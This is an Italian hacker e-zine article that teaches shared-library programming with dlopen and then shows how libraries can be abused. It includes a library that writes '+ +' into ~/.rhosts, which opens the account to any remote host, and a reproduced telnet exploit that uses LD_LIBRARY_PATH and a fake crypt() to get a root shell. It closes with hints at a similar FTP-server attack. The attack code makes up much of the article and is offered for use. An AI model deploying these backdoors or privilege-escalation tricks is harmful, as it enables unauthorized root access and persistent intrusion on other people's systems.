============================================================================== =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- --------------------[ previous ]---[ index ]---[ next ]--------------------- ----------------------[ SCRiVERE DELLE SHARED LiBRARiES ]--------------------- ----------------------------------[ pIGpEN ]---------------------------------- pR(E/0)MESSA (non vuol dire prima della messa): Da questo articolo io pIGpEN prometto di aderire all'iniziativa "Mars Donald" (c) smaster .... se gli alieni un giorno ci mangieranno e' giusto essere tossici ... detto questo aumento le mie bustine di caffe' e la mia dose di cocacola sperando che un giorno un alieno mangiandomi mi caghi tutti intero prima di crepare .... CONSUMO: 1 cocacola (naturalmente) DEDiCA: all'estate ... SALUTI: alla cocacola company (ho fanculizzato con un omino del mac per delle patatine che ho vinto con la cocacola... cosa devo fare?) a Neuro per avermi fatto capire indirettamente che c'e' un posticino per tutti in questo mondo anche per gente come noi di BFi... a bELFaghor compagno di smanettamento alla ricerca di idee nuove... e al suo kernel e poi il mega saluto va alla solita ragazza che non occupa piu' molta importanza sul mio dns passando soltanto a CNAME... ok finiamo di dire stronzate va... ah volete sapere come si chiama adesso il computer su 192.168.1.2 ?!??! ok allora partecipate al concorso "scopri il nome del computer di pig" chi vince si passa una serata di sesso con il mio orsetto Ciccio. ...e ora serieta'... In questo spazio vi insegnero' la semplicita' della programmazione delle shared library e vi indichero' la loro crudelta' in particolari situazioni. Il concetto di shared library e' stato introdotto allo scopo di fornire una serie di routine ad un gruppo di persone che sviluppano programmi simili o anche diversi :) ma con funzioni simili... e di scavalcare parzialmente i requisiti di memoria del prog: infatti il codice all'interno di una shared library viene caricato solo quando necessario. Detto cio' partiamo con l'opera: [pigpen@sp00f pigpen]$ ldd /bin/ls libc.so.6 => /lib/libc.so.6 (0x40005000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x00000000) (no, non vi cedero' una notte di sesso con il mio orsetto preferito!!! Da sp00f non potete ancora intendere il nome!) Come vedete da questo comando "ls" sfrutta al suo interno due librerie. Ma come si programma una libreria di questo tipo? Vediamo un piccolo esempio scarno prendendo come spunto la funzione FUCK_RHOST del mio articolo sulle rpc backdoor... Da questo dimostreremo la diabolicita' delle shared library... Per provare la shared library: - compilate i due programmi come scritto nei commenti dei codici sorgente - scrivete export LD_LIBRARY_PATH='pwd':$LD_LIBRARY_PATH (solo per testare le lib... quando le installerete dovete: - spostarle in /usr/local/lib - eseguire /sbin/ldconfig - fare un link simbolico se necessario) /* sha.c A simple example of an abuse of a shared library Example by pIGpEN/s0ftpj99 for Butchered From Inside 6 Compile it -> gcc -fPIC -c sha.c gcc -shared -Wl sha.o -o lll.so Use it with -> client.c */ #include <stdio.h> #include <stdlib.h> void rhosts(void) { system("echo \"+ +\" > ~/.rhosts"); printf("Rhosts Written - :0 \n"); } Questo source evito di spiegarlo va :)) la libreria non e' altro che una raccolta di funzioni, dati o tipi di dati... per farla grezza manca il main() :) Guardiamo invece il prog per vederla all'opera: /* client.c An abuse of a shared library. Example by pIGpEN/s0ftpj99 for BFi6 gcc -o client client.c -ldl */ #include <dlfcn.h> #include <stdio.h> #define library_name "lll.so" #define function_name "rhosts" main() { void (*fuck_call)(void *data); void *desc; void *data; desc=dlopen(library_name,RTLD_LAZY); if(desc) { fuck_call = dlsym(desc,function_name); if(!fuck_call) { printf("Library not opened :(\n"); exit(-1); } printf("Library opened... Function loaded ... and now ...\n"); (*fuck_call)(data); } else fputs(dlerror(), stderr); dlclose(desc); } Qui notiamo la presenza del dlfcn.h... al suo interno sono incluse le funzioni dlopen(), dlsym(), dlerror() e la dlclose() utilizzate in questo prog. La prima apre la libreria restituendo un handle... insomma e' proprio o quasi come aprire un file con la fopen(). Il secondo parametro della dlopen() puo' essere RTLD_LAZY, RTLD_NOW, RTLD_GLOBAL a seconda di quando vengono caricati i simboli (basta un man dlopen per chiarirsi le idee). A questo punto si tratta di utilizzare la dlsym() sul descrittore aperto con la dlopen() e di dargli come secondo parametro il nome esatto della funzione interna alla libreria. La funzione dlsym() ritorna un puntatore a funzione... chiamando questo puntatore con i parametri corretti si eseguira' quindi la funzione della libreria dinamica. La dlerror() si usa soltanto se il descrittore e' NULL e quindi qualcosa e' andato storto... Detto questo facciamo un ulteriore passo in avanti... possibile che non vi dica niente LD_LIBRARY_PATH ? Il mio puntatore voleva essere una cosa simile a questa: /* Telnet environment hole sploit. Using freebsd libcrypt for this example because libcrypt is small and separate. Compile/link options will vary on other machines. To build: cc -c -fpic libc.c ld -Bshareable -o libcrypt.so.2.0 libc.o Now, if LD_LIBRARY_PATH points wherever this lives, guess what? ... % cp libcrypt.so.2.0 /tmp/ % telnet telnet> env def LD_LIBRARY_PATH /tmp telnet> env exp LD_LIBRARY_PATH telnet> open localhost Holey Unix, Batman! (target.org) login: rewt Password: xxx leet... # _H */ #include <stdio.h> static void just_do_me() { setuid(0); setgid(0); puts ("leet..."); fflush (stdout); sleep (1); execl ("/bin/sh", "yow!", 0); } char * crypt (x,y) char * x; char * y; { just_do_me(); } Una delle cose piu' gettonate tempo fa .. Lasciamo perdere il path... il concetto delle shared library e' pero' ancora utilizzabile e non saro' io a dirlo... pensate un po' a /home/ftp/lib... ad avere i sorgenti delle libs e a come funziona l'esecuzione di un comando via ftp... poi pensate al vostro ftp server... e poi... beh ci arrivate da soli. bauz Death don't have no mercy - McKernan rulez pIGpEN --------------------[ previous ]---[ index ]---[ next ]--------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ==============================================================================